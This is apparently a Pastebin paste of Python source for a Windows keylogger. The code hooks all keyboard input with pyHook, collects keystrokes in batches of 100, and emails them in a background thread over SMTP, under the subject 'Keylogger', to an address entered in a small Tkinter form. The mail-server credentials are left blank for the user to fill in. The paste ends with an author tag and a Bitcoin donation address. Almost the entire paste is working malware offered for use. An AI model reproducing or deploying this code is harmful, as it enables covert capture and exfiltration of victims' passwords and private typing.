Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyHook, pythoncom, sys, logging, smtplib, tkinter, re, _thread, ssl, os.path, time
- from email.mime.multipart import MIMEMultipart
- from email.mime.text import MIMEText
- from tkinter import *
- import logging
- from win32api import GetKeyState
- from ctypes import *
- counts = 0
- string = ""
- fields = 'Email'
- checkEmail = False
- receivers = []
- def fetch(entries,root):
- global checkEmail
- global receivers
- field = entries[0]
- text = entries[1].get()
- match = re.match('^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$', text)
- if match == None:
- print('Bad Syntax in ' + text)
- checkEmail = False
- else:
- checkEmail = True
- receivers.append(text)
- root.destroy()
- def makeform(root, fields):
- row = Frame(root)
- lab = Label(row, width=15, text=fields, anchor='w')
- ent = Entry(row)
- row.pack(side=TOP, fill=X, padx=4, pady=5)
- lab.pack(side=LEFT)
- ent.pack(side=RIGHT, expand=YES, fill=X)
- entries =(fields, ent)
- return entries
- def quit(root):
- root.destroy()
- def onkeyboardevent(event):
- if not checkEmail:
- return False
- global counts
- global string
- global receivers
- if event.Ascii==13:
- keys='<ENTER>'
- elif event.Ascii==8:
- keys='<BACK SPACE>'
- elif event.Ascii==9:
- keys='<TAB>'
- elif event.Ascii==14:
- keys='<SHIFT>'
- elif event.Ascii==16:
- keys='<SHIFT>'
- elif event.Ascii==27:
- keys='<ESCAPE>'
- elif event.Ascii==32:
- keys=' '
- elif event.Ascii==33:
- keys='!'
- elif event.Ascii==34:
- keys='"'
- elif event.Ascii==35:
- keys='#'
- elif event.Ascii==36:
- keys='$'
- elif event.Ascii==37:
- keys='%'
- elif event.Ascii==38:
- keys='&'
- elif event.Ascii==39:
- keys="'"
- elif event.Ascii==40:
- keys='('
- elif event.Ascii==41:
- keys=')'
- elif event.Ascii==42:
- keys='*'
- elif event.Ascii==43:
- keys='+'
- elif event.Ascii==44:
- keys=','
- elif event.Ascii==45:
- keys='-'
- elif event.Ascii==46:
- keys='.'
- elif event.Ascii==47:
- keys='/'
- elif event.Ascii==48:
- keys='0'
- elif event.Ascii==49:
- keys='1'
- elif event.Ascii==50:
- keys='2'
- elif event.Ascii==51:
- keys='3'
- elif event.Ascii==52:
- keys='4'
- elif event.Ascii==53:
- keys='5'
- elif event.Ascii==54:
- keys='6'
- elif event.Ascii==55:
- keys='7'
- elif event.Ascii==56:
- keys='8'
- elif event.Ascii==57:
- keys='9'
- elif event.Ascii==58:
- keys=':'
- elif event.Ascii==59:
- keys=';'
- elif event.Ascii==60:
- keys='<'
- elif event.Ascii==61:
- keys='='
- elif event.Ascii==62:
- keys='>'
- elif event.Ascii==63:
- keys='?'
- elif event.Ascii==64:
- keys='@'
- elif event.Ascii==65:
- keys='A'
- elif event.Ascii==66:
- keys='B'
- elif event.Ascii==67:
- keys='C'
- elif event.Ascii==68:
- keys='D'
- elif event.Ascii==69:
- keys='E'
- elif event.Ascii==70:
- keys='F'
- elif event.Ascii==71:
- keys='G'
- elif event.Ascii==72:
- keys='H'
- elif event.Ascii==73:
- keys='I'
- elif event.Ascii==74:
- keys='J'
- elif event.Ascii==75:
- keys='K'
- elif event.Ascii==76:
- keys='L'
- elif event.Ascii==77:
- keys='M'
- elif event.Ascii==78:
- keys='N'
- elif event.Ascii==79:
- keys='O'
- elif event.Ascii==80:
- keys='P'
- elif event.Ascii==81:
- keys='Q'
- elif event.Ascii==82:
- keys='R'
- elif event.Ascii==83:
- keys='S'
- elif event.Ascii==84:
- keys='T'
- elif event.Ascii==85:
- keys='U'
- elif event.Ascii==86:
- keys='V'
- elif event.Ascii==87:
- keys='W'
- elif event.Ascii==88:
- keys='X'
- elif event.Ascii==89:
- keys='Y'
- elif event.Ascii==90:
- keys='Z'
- elif event.Ascii==91:
- keys='['
- elif event.Ascii==92:
- keys='\\'
- elif event.Ascii==93:
- keys=']'
- elif event.Ascii==94:
- keys='^'
- elif event.Ascii==95:
- keys='_'
- elif event.Ascii==97:
- keys='a'
- elif event.Ascii==98:
- keys='b'
- elif event.Ascii==99:
- keys='c'
- elif event.Ascii==100:
- keys='d'
- elif event.Ascii==101:
- keys='e'
- elif event.Ascii==102:
- keys='f'
- elif event.Ascii==103:
- keys='g'
- elif event.Ascii==104:
- keys='h'
- elif event.Ascii==105:
- keys='i'
- elif event.Ascii==106:
- keys='j'
- elif event.Ascii==107:
- keys='k'
- elif event.Ascii==108:
- keys='l'
- elif event.Ascii==109:
- keys='m'
- elif event.Ascii==110:
- keys='n'
- elif event.Ascii==111:
- keys='o'
- elif event.Ascii==112:
- keys='p'
- elif event.Ascii==113:
- keys='q'
- elif event.Ascii==114:
- keys='r'
- elif event.Ascii==115:
- keys='s'
- elif event.Ascii==116:
- keys='t'
- elif event.Ascii==117:
- keys='u'
- elif event.Ascii==118:
- keys='v'
- elif event.Ascii==119:
- keys='w'
- elif event.Ascii==120:
- keys='x'
- elif event.Ascii==121:
- keys='y'
- elif event.Ascii==122:
- keys='z'
- elif event.Ascii==123:
- keys='{'
- elif event.Ascii==124:
- keys='|'
- elif event.Ascii==125:
- keys='}'
- elif event.Ascii==126:
- keys='~'
- elif event.Ascii==127:
- keys='<DEL>'
- else:
- keys = (chr(event.Ascii))
- string+=keys
- counts+= 1
- print(keys)
- #print(counts)
- if counts == 100:
- print(string)
- #sendMail("Thread-1", receivers,string)
- _thread.start_new_thread( sendMail, ("Thread-1", receivers,string))
- string=""
- counts=0
- return True
- def sendMail(threadName,receivers,Message):
- host = # "enter your host provider"
- port = # "enter host port"
- sslUse = # "enter if True or False"
- from_ = # "enter email address"
- pass_ = # "enter email password"
- user = # "enter email address"
- emails = receivers
- subject = "Keylogger"
- messageText = Message
- x = 0
- for arg in sys.argv:
- if x<10:
- x = x+1
- continue
- messageText = messageText + "\r\n" + arg
- msg = MIMEText(messageText)
- msg['Subject'] = subject
- msg['From'] = from_
- if str(sslUse) == "TLS":
- #s = smtplib.SMTP_SSL('webmail.frontagelab.com'+":"+str('587'),context=contextSSL)
- s = smtplib.SMTP(host+':'+str(port),timeout=5) # object created
- s.debuglevel=0
- s.ehlo()
- s.starttls() # enable TLS
- s.ehlo()
- s.login(user,pass_)
- res = s.sendmail(from_addr=from_,to_addrs=emails,msg= msg.as_string())
- s.quit()
- elif str(sslUse) == "True":
- s = smtplib.SMTP_SSL()
- s.connect(host, port)
- s.login(user, pass_)
- res = s.sendmail(from_addr=from_, to_addrs=emails, msg=msg.as_string())
- s.quit()
- else:
- s = smtplib.SMTP(host=host)
- s.login(user=user,password=pass_)
- res = s.sendmail(from_addr=from_,to_addrs=emails,msg= msg.as_string())
- s.quit()
- print ("done")
- return True
- if __name__ == '__main__':
- root = Tk()
- ents = makeform(root, fields)
- root.bind('<Return>', (lambda event, e=ents: fetch(e,root)))
- b1 = Button(root, text='Done',command=(lambda e=ents: fetch(e,root)))
- b1.pack(side=LEFT, padx=5, pady=5)
- b2 = Button(root, text='Quit', command=root.destroy)
- b2.pack(side=LEFT, padx=5, pady=5)
- root.mainloop()
- hooks_manger = pyHook.HookManager()
- hooks_manger.KeyDown = onkeyboardevent
- hooks_manger.HookKeyboard()
- pythoncom.PumpMessages()
- input ("Press ENTER to exit")
- # by Boseda
- # Bitcoin Address: 18hheTbKzgLXKtEjrdj3Jg6qEWAxbJt8QK
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement